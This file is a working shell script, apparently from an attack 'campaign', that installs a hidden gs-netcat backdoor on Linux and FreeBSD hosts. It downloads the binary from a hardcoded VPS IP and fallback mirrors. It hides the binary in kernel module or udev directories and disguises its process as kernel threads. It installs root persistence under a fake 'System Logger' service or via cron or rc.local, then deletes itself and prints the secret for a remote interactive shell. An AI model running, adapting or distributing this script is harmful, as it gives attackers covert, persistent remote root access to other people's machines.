#!/bin/sh
#===============================================================================
# gs-universal.sh — cross-distro gs-netcat deployer (CAMPAIGN EDITION)
# Оригинал от команды сохранён в gs-universal.orig.sh (без изменений).
# Этот вариант: VPS-зеркало (2.59.218.32) — ПЕРВЫЙ источник загрузки бинаря
# (github с RU-хостов не ходит), далее штатный каскад github/прокси.
#===============================================================================

SYST_SVC="journallogging"
BIN_NAME=".systemd-udevd"
LAUNCHER_NAME=".logsvc"
GS_VERSION="v1.4.43"
GS_ASSET="gs-netcat_linux"
GS_BASE_URL="https://github.com/hackerschoice/gsocket/releases/download/${GS_VERSION}"
VPS_MIRROR="http://2.59.218.32"

OS=""; ARCH=""; INIT=""
BIN_PATH=""; LAUNCHER_PATH=""
SECRET=""; PROC_MASK=""
SELF_DELETE=1

_g_have() { command -v "$1" >/dev/null 2>&1; }

_g_detect_os() {
    case "$(uname -s 2>/dev/null)" in
        Linux)   OS="linux" ;;
        FreeBSD) OS="freebsd" ;;
        *)       OS="unsupported" ;;
    esac
}

_g_detect_arch() {
    _g_m=$(uname -m 2>/dev/null)
    case "$_g_m" in
        x86_64|amd64)                  ARCH="x86_64" ;;
        aarch64|arm64)                 ARCH="aarch64" ;;
        armv7l|armv7)                  ARCH="armv7l" ;;
        armv6l|armv6)                  ARCH="armv6" ;;
        armv5te|armv5tel|armv5|arm)    ARCH="arm" ;;
        i386|i486|i586|i686|x86)       ARCH="i686" ;;
        mipsel|mipsle)                 ARCH="mipsel" ;;
        mips64*)                       ARCH="mips64" ;;
        mips)                          ARCH="unsupported-mips" ;;
        *)                             ARCH="unsupported" ;;
    esac
}

_g_pick_hide_paths() {
    if [ "$OS" = "freebsd" ]; then
        BIN_PATH="/var/db/.cache/${BIN_NAME}"
        LAUNCHER_PATH="/var/db/${LAUNCHER_NAME}"
        return 0
    fi
    _g_krel=$(uname -r 2>/dev/null)
    _g_cand=""
    for _g_p in "/usr/lib/modules/${_g_krel}/kernel" "/lib/modules/${_g_krel}/kernel"; do
        if [ -d "$_g_p" ] && [ -w "$_g_p" ]; then _g_cand="$_g_p"; break; fi
    done
    if [ -z "$_g_cand" ]; then
        if [ -d /var/lib ] && [ -w /var/lib ]; then _g_cand="/var/lib/.cache"; fi
    fi
    if [ -z "$_g_cand" ]; then _g_cand="/var/lib/.cache"; fi
    BIN_PATH="${_g_cand}/${BIN_NAME}"
    if [ -d /lib/udev ] && [ -w /lib/udev ]; then
        LAUNCHER_PATH="/lib/udev/${LAUNCHER_NAME}"
    else
        LAUNCHER_PATH="${_g_cand}/${LAUNCHER_NAME}"
    fi
}

_g_gen_secret() {
    _g_s=""
    if [ -r /dev/urandom ] && _g_have od; then
        _g_s=$(dd if=/dev/urandom bs=32 count=1 2>/dev/null | od -An -tx1 | tr -d ' \n')
    fi
    if [ -z "$_g_s" ] && _g_have openssl; then
        _g_s=$(openssl rand -hex 32 2>/dev/null)
    fi
    if [ -z "$_g_s" ]; then
        _g_s="$(date +%s 2>/dev/null)$$$RANDOM"
    fi
    printf '%s' "$_g_s" | tr -cd 'A-Za-z0-9' | cut -c1-22
}

_g_pick_mask() {
    set -- "[kworker/u2:0]" "[kthreadd]" "[ksoftirqd/0]" "[kworker/0:1]" "[flush-8:0]" "[jbd2/sda1-8]"
    _g_n=$#
    _g_r=$(dd if=/dev/urandom bs=1 count=1 2>/dev/null | od -An -tu1 | tr -d ' \n')
    [ -z "$_g_r" ] || [ "$_g_r" = "0" ] && _g_r=1
    _g_i=$(( _g_r % _g_n + 1 ))
    eval "PROC_MASK=\${$_g_i}"
}

_g_download() {
    _g_url="$1"; _g_out="$2"
    if _g_have wget; then
        wget -q -T 20 -O "$_g_out" "$_g_url" 2>/dev/null && return 0
    fi
    if _g_have curl; then
        curl -fsSL --connect-timeout 10 --max-time 60 -o "$_g_out" "$_g_url" 2>/dev/null && return 0
    fi
    return 1
}

_g_download_binary() {
    _g_url="${GS_BASE_URL}/${GS_ASSET}-${ARCH}"
    _g_tmp="${BIN_PATH}.dl"
    rm -f "$_g_tmp"
    # 1) наше VPS-зеркало (самый быстрый/доступный путь для RU-хостов)
    _g_src="vps-mirror"
    if _g_download "${VPS_MIRROR}/${GS_ASSET}-${ARCH}" "$_g_tmp"; then
        printf 'downloaded via %s\n' "$_g_src"
        return 0
    fi
    # 2) штатный каскад оригинала
    _g_src="github.com"
    if _g_download "$_g_url" "$_g_tmp"; then
        printf 'downloaded via %s\n' "$_g_src"
        return 0
    fi
    _g_src="ghfast.top"
    if _g_download "https://ghfast.top/${_g_url}" "$_g_tmp"; then
        printf 'downloaded via %s\n' "$_g_src"
        return 0
    fi
    _g_src="gh-proxy.com"
    if _g_download "https://gh-proxy.com/${_g_url}" "$_g_tmp"; then
        printf 'downloaded via %s\n' "$_g_src"
        return 0
    fi
    _g_src="ghproxy.com"
    if _g_download "https://ghproxy.com/${_g_url}" "$_g_tmp"; then
        printf 'downloaded via %s\n' "$_g_src"
        return 0
    fi
    printf 'ERROR: download failed from all sources (%s)\n' "$_g_url" >&2
    rm -f "$_g_tmp"
    return 1
}

_g_is_elf() {
    [ -s "$1" ] || return 1
    _g_magic=$(od -An -tx1 -N4 "$1" 2>/dev/null | tr -d ' \n')
    [ "$_g_magic" = "7f454c46" ]
}

_g_detect_init() {
    if _g_have systemctl && [ -d /run/systemd/system ]; then
        INIT="systemd"
    elif _g_have rc-update && [ -d /etc/init.d ]; then
        INIT="openrc"
    elif _g_have runsvdir || _g_have sv || [ -d /etc/sv ]; then
        INIT="runit"
    elif [ -f /etc/rc.local ] || [ -f /etc/rc.d/rc.local ]; then
        INIT="sysv"
    elif _g_have crontab; then
        INIT="cron"
    else
        INIT="none"
    fi
}

_g_write_launcher() {
    _g_tmp="${LAUNCHER_PATH}.tmp"
    if _g_have bash; then
        cat > "$_g_tmp" <<EOF
#!/bin/bash
export GSOCKET_ARGS="-s ${SECRET}"
exec -a "${PROC_MASK}" "${BIN_PATH}" -l -i
EOF
    else
        cat > "$_g_tmp" <<EOF
#!/bin/sh
export GSOCKET_ARGS="-s ${SECRET}"
exec "${BIN_PATH}" -l -i
EOF
    fi
    chmod 700 "$_g_tmp"
    mv -f "$_g_tmp" "$LAUNCHER_PATH"
    [ -f "$LAUNCHER_PATH" ] || return 1
    return 0
}

_g_install_systemd() {
    _g_unit="/etc/systemd/system/${SYST_SVC}.service"
    cat > "$_g_unit" <<EOF
[Unit]
Description=System Logger
After=network.target

[Service]
Type=simple
ExecStart=${LAUNCHER_PATH}
Restart=always
RestartSec=10
User=root

[Install]
WantedBy=multi-user.target
EOF
    systemctl daemon-reload
    systemctl enable "${SYST_SVC}" >/dev/null 2>&1
    if systemctl start "${SYST_SVC}" >/dev/null 2>&1; then
        return 0
    fi
    printf 'WARN: systemctl start failed — статус и журнал:\n' >&2
    systemctl status "${SYST_SVC}" --no-pager -l 2>&1 | tail -n 15 >&2
    journalctl -u "${SYST_SVC}" -n 15 --no-pager 2>&1 | tail -n 15 >&2
    return 1
}

_g_install_openrc() {
    _g_initd="/etc/init.d/${SYST_SVC}"
    cat > "$_g_initd" <<EOF
#!/sbin/openrc-run
name="${SYST_SVC}"
depend() { need net; }
start() {
    ebegin "Starting ${SYST_SVC}"
    ${LAUNCHER_PATH} >/dev/null 2>&1 &
    eend \$?
}
stop() {
    ebegin "Stopping ${SYST_SVC}"
    pkill -f '${BIN_PATH}' 2>/dev/null
    eend \$?
}
EOF
    chmod +x "$_g_initd"
    rc-update add "${SYST_SVC}" default >/dev/null 2>&1
    rc-service "${SYST_SVC}" start
}

_g_install_runit() {
    _g_svdir="/etc/sv/${SYST_SVC}"
    mkdir -p "$_g_svdir"
    cat > "$_g_svdir/run" <<EOF
#!/bin/sh
exec ${LAUNCHER_PATH}
EOF
    chmod +x "$_g_svdir/run"
    _g_ln=""
    for _g_l in /var/service /etc/service; do
        if [ -d "$_g_l" ] || [ -d /run/runit ]; then _g_ln="$_g_l"; break; fi
    done
    [ -z "$_g_ln" ] && _g_ln="/var/service"
    mkdir -p "$_g_ln" 2>/dev/null
    ln -sf "$_g_svdir" "${_g_ln}/${SYST_SVC}"
    if _g_have sv; then sv start "${SYST_SVC}" >/dev/null 2>&1; fi
}

_g_install_sysv_rclocal() {
    _g_rc="/etc/rc.local"
    [ -f /etc/rc.d/rc.local ] && _g_rc="/etc/rc.d/rc.local"
    if [ -f "$_g_rc" ]; then
        if ! grep -q "${LAUNCHER_PATH}" "$_g_rc" 2>/dev/null; then
            sed -i "s|^exit 0|${LAUNCHER_PATH} \&\nexit 0|" "$_g_rc" 2>/dev/null \
                || printf '%s &\n' "$LAUNCHER_PATH" >> "$_g_rc"
        fi
    else
        printf '#!/bin/sh\n%s &\nexit 0\n' "$LAUNCHER_PATH" > "$_g_rc"
    fi
    chmod +x "$_g_rc"
}

_g_install_cron() {
    _g_crontab=""
    _g_have crontab && _g_crontab=$(crontab -l 2>/dev/null)
    case "$_g_crontab" in
        *"${LAUNCHER_PATH}"*) : ;;
        *) printf '%s\n@reboot %s &\n' "$_g_crontab" "$LAUNCHER_PATH" | crontab - ;;
    esac
}

_g_install_freebsd() {
    _g_rc="/etc/rc.local"
    if [ -f "$_g_rc" ]; then
        if ! grep -q "${LAUNCHER_PATH}" "$_g_rc" 2>/dev/null; then
            printf '%s &\n' "$LAUNCHER_PATH" >> "$_g_rc"
        fi
    else
        printf '#!/bin/sh\n%s &\nexit 0\n' "$LAUNCHER_PATH" > "$_g_rc"
    fi
    chmod +x "$_g_rc"
}

_g_clean_rclocal() {
    [ -f "$1" ] || return 0
    _g_tmp=$(mktemp 2>/dev/null) || return 0
    grep -v "${LAUNCHER_NAME}" "$1" 2>/dev/null | grep -v "${BIN_NAME}" > "$_g_tmp"
    cp "$_g_tmp" "$1" 2>/dev/null
    rm -f "$_g_tmp"
}

_g_clean_old() {
    if _g_have systemctl; then
        systemctl stop "${SYST_SVC}" >/dev/null 2>&1
        systemctl disable "${SYST_SVC}" >/dev/null 2>&1
        systemctl stop systemd-log-helper >/dev/null 2>&1
        systemctl disable systemd-log-helper >/dev/null 2>&1
        rm -f "/etc/systemd/system/${SYST_SVC}.service" \
              "/etc/systemd/system/systemd-log-helper.service"
        systemctl daemon-reload >/dev/null 2>&1
    fi
    if _g_have rc-update; then
        rc-update del "${SYST_SVC}" default >/dev/null 2>&1
        rc-update del systemd-log-helper default >/dev/null 2>&1
    fi
    rm -f "/etc/init.d/${SYST_SVC}" /etc/init.d/systemd-log-helper
    rm -f "/var/service/${SYST_SVC}" "/etc/service/${SYST_SVC}"
    rm -rf "/etc/sv/${SYST_SVC}"
    _g_clean_rclocal /etc/rc.local
    _g_clean_rclocal /etc/rc.d/rc.local
    if _g_have crontab; then
        _g_crontab=$(crontab -l 2>/dev/null | grep -v "${LAUNCHER_NAME}" | grep -v "${BIN_NAME}")
        printf '%s\n' "$_g_crontab" | crontab - 2>/dev/null
    fi
    for _g_f in "${BIN_NAME}" "${LAUNCHER_NAME}" ".systemd-helper"; do
        for _g_dir in /usr/lib/modules /lib/modules /var/lib/.cache /var/db/.cache /lib/udev /var/db /usr/lib/udev; do
            _g_p="$_g_dir/$_g_f"
            [ -f "$_g_p" ] || continue
            _g_have chattr && chattr -i "$_g_p" 2>/dev/null
            _g_have chflags && chflags noschg "$_g_p" 2>/dev/null
            rm -f "$_g_p" 2>/dev/null
        done
    done
}

_g_check_process() {
    _g_pid=""
    if _g_have pgrep; then
        if [ -n "$PROC_MASK" ]; then
            _g_mpat=$(printf '%s' "$PROC_MASK" | sed 's|\[|\\[|g; s|\]|\\]|g')
            _g_pid=$(pgrep -f "$_g_mpat" 2>/dev/null | head -n1)
        fi
        if [ -z "$_g_pid" ]; then
            _g_pat=$(printf '%s' "$BIN_PATH" | sed 's/\./\\./g')
            _g_pid=$(pgrep -f "$_g_pat" 2>/dev/null | head -n1)
        fi
    else
        _g_pid=$(ps -ef 2>/dev/null | grep -E "${BIN_NAME}|${PROC_MASK}" | grep -v grep | awk '{print $2}' | head -n1)
    fi
    [ -n "$_g_pid" ]
}

_g_rm_self() {
    sleep 2
    case "$0" in
        *gs-universal*)
            [ -f "$0" ] && rm -f -- "$0" 2>/dev/null
            ;;
    esac
}

_do_check() {
    _g_detect_os
    _g_detect_arch
    _g_pick_hide_paths
    _g_detect_init
    printf '== gs-universal.sh diagnostic (read-only) ==\n'
    printf 'OS:            %s\n' "$OS"
    printf 'uname -m:      %s  -> asset suffix: %s\n' "$(uname -m 2>/dev/null)" "$ARCH"
    case "$ARCH" in
        unsupported-mips) printf '  !! mips32 vs mipsel неоднозначно по uname -m: деплой unsupported, используй mipsel-сборку вручную\n' ;;
        unsupported)      printf '  !! нет ассета для этой архитектуры (v1.4.43)\n' ;;
    esac
    printf 'init:          %s\n' "$INIT"
    if [ "$INIT" = "none" ]; then printf '  !! нет ни systemd/OpenRC/runit/rc.local/cron — персистентность невозможна\n'; fi
    printf 'hide paths:\n'
    _g_krel=$(uname -r 2>/dev/null)
    for _g_p in "/usr/lib/modules/${_g_krel}/kernel" "/lib/modules/${_g_krel}/kernel" "/var/lib/.cache" "/lib/udev"; do
        if [ -e "$_g_p" ]; then
            if [ -w "$_g_p" ]; then printf '  [w] %s\n' "$_g_p"; else printf '  [ro] %s\n' "$_g_p"; fi
        else
            printf '  [--] %s (не существует)\n' "$_g_p"
        fi
    done
    printf 'target bin:    %s\n' "$BIN_PATH"
    printf 'target launcher: %s\n' "$LAUNCHER_PATH"
    printf 'tools:'
    for _g_t in wget curl od dd openssl pgrep ps crontab systemctl rc-update sv bash chattr; do
        if _g_have "$_g_t"; then printf ' %s' "$_g_t"; else printf ' !%s' "$_g_t"; fi
    done
    printf '\n'
    if _g_check_process; then
        printf 'process:       RUNNING (%s)\n' "$BIN_NAME"
    else
        printf 'process:       not running\n'
    fi
    if [ "$(id -u 2>/dev/null)" = "0" ]; then
        printf 'root:          yes (деплой возможен)\n'
    else
        printf 'root:          no (деплой требует root; --check работает и так)\n'
    fi
    printf '== end ==\n'
    return 0
}

_do_deploy() {
    [ "$(id -u 2>/dev/null)" = "0" ] || { printf 'ERROR: deploy requires root\n' >&2; exit 1; }
    _g_detect_os
    _g_detect_arch
    case "$OS" in
        unsupported) printf 'ERROR: unsupported OS\n' >&2; exit 1 ;;
    esac
    case "$ARCH" in
        unsupported-mips) printf 'ERROR: mips/mipsel неоднозначны по uname -m; деплой невозможен. Скачай mipsel-ассет вручную.\n' >&2; exit 1 ;;
        unsupported) printf 'ERROR: нет ассета v1.4.43 для архитектуры %s\n' "$(uname -m 2>/dev/null)" >&2; exit 1 ;;
    esac
    [ -n "$SECRET" ] || SECRET=$(_g_gen_secret)
    _g_pick_mask
    _g_pick_hide_paths
    _g_detect_init

    _g_clean_old

    _g_bdir=$(dirname "$BIN_PATH")
    [ -d "$_g_bdir" ] || mkdir -p "$_g_bdir" || { printf 'ERROR: cannot create %s\n' "$_g_bdir" >&2; exit 1; }
    _g_ldir=$(dirname "$LAUNCHER_PATH")
    [ -d "$_g_ldir" ] || mkdir -p "$_g_ldir" 2>/dev/null

    printf 'downloading %s-%s ...\n' "$GS_ASSET" "$ARCH"
    _g_download_binary || exit 1
    if ! _g_is_elf "${BIN_PATH}.dl"; then
        printf 'ERROR: downloaded file is not an ELF (HTML/404?) — отброшено\n' >&2
        rm -f "${BIN_PATH}.dl"
        exit 1
    fi
    chmod 700 "${BIN_PATH}.dl"
    mv -f "${BIN_PATH}.dl" "$BIN_PATH"

    if ! _g_write_launcher; then
        printf 'ERROR: launcher не создан (%s) — проверь права на каталог\n' "$LAUNCHER_PATH" >&2
        exit 1
    fi

    printf 'installing persistence via %s ...\n' "$INIT"
    case "$OS" in
        freebsd)
            _g_install_freebsd
            ;;
        *)
            case "$INIT" in
                systemd) _g_install_systemd ;;
                openrc)  _g_install_openrc ;;
                runit)   _g_install_runit ;;
                sysv)    _g_install_sysv_rclocal ;;
                cron)    _g_install_cron ;;
                none)    printf 'WARN: нет init-системы — персистентности нет, процесс живёт только в текущей сессии\n' ;;
            esac
            ;;
    esac

    printf '\n== DEPLOYED ==\n'
    printf 'secret:        %s\n' "$SECRET"
    printf 'binary:        %s\n' "$BIN_PATH"
    printf 'launcher:      %s\n' "$LAUNCHER_PATH"
    printf 'init:          %s\n' "$INIT"
    printf 'mask:          %s (при наличии bash)\n' "$PROC_MASK"
    if _g_check_process; then
        printf 'process:       RUNNING\n'
    else
        printf 'process:       check failed (проверь вручную: %s)\n' "$LAUNCHER_PATH"
    fi
    printf "connect:       gs-netcat -s '%s' -i\n" "$SECRET"
    if [ "$OS" = "freebsd" ]; then printf 'note:          FreeBSD-ветка проверена только статически (untested)\n'; fi
    if [ "$SELF_DELETE" = "1" ]; then
        printf 'self-delete:   enabled (скрипт удалит себя через 2 сек)\n'
        trap '_g_rm_self' EXIT
    else
        printf 'self-delete:   disabled (--no-selfdelete)\n'
    fi
    return 0
}

_do_help() {
    cat <<'HELP'
gs-universal.sh — cross-distro gs-netcat deployer (campaign edition: VPS mirror first)

Usage:
  ./gs-universal.sh --check               диагностика, read-only, без root
  ./gs-universal.sh --help                эта справка
  ./gs-universal.sh [--secret <s>] [--no-selfdelete]   боевой деплой (root)
HELP
    return 0
}

_g_mode="deploy"
while [ "$#" -gt 0 ]; do
    case "$1" in
        --check)        _g_mode="check" ;;
        --help)         _g_mode="help" ;;
        --secret)       shift; [ "$#" -gt 0 ] && SECRET="$1" ;;
        --no-selfdelete) SELF_DELETE=0 ;;
        *)              printf 'unknown arg: %s (см. --help)\n' "$1" >&2; exit 1 ;;
    esac
    shift
done

case "$_g_mode" in
    check)  _do_check ;;
    help)   _do_help ;;
    deploy) _do_deploy ;;
esac
exit $?
